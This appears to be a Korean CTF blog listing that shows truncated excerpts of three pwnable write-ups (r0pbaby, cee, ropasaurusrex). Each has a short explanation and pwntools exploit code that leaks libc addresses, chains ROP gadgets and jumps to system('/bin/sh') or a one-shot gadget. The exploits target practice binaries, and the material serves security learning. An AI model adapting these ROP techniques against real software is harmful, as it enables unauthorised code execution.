PIE, NX가 걸려있다. 2번 메뉴에서 system 함수의 주소를 구하고 offset을 바탕으로/bin/sh, gadget의 주소를 구해 익스 할 수 있따. 1234567891011121314151617181920212223242526272829303132from pwn import * p = process('./r0pbaby')#context(arch='amd64',os='linux',endian='little',log_level='debug') p.sendlineafter(': ','2')p.sendlineafter('symbol: ','system') p.recvuntil("Symbol system: ")system = int(p.recv(18),16) binsh = system + 0x1479c..
underflow 내고, write 함수를 사용한 다음에는 첫번째, 세번째 인자가 세팅되어있으므로pop rsi r15 가젯으로 rsi만 컨트롤 하여 릭 하고, main으로 돌리고 oneshot으로 뛰어서익스 했다 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from pwn import * p = process('./cee')e = ELF('./cee')context(arch='amd64',os='linux',endian='little',log_level='debug')POP_RSI_R15_RET = 0x00400a51main = 0x400716 def check(): #p.sendlineafter(..
123456789101112131415161718192021222324252627282930313233343536373839404142434445from pwn import * p = process('./ropasaurusrex')e = ELF('./ropasaurusrex')pppr = 0x080484b6#context(arch='i386',os='linux',endian='little',log_level='debug')payload="A"*140offset = 0x9ad60 # read- systempayload+=p32(e.plt['read'])payload+=p32(pppr)payload+=p32(0)payload+=p32(e.bss())payload+=p32(len("/bin/sh\x00")) ..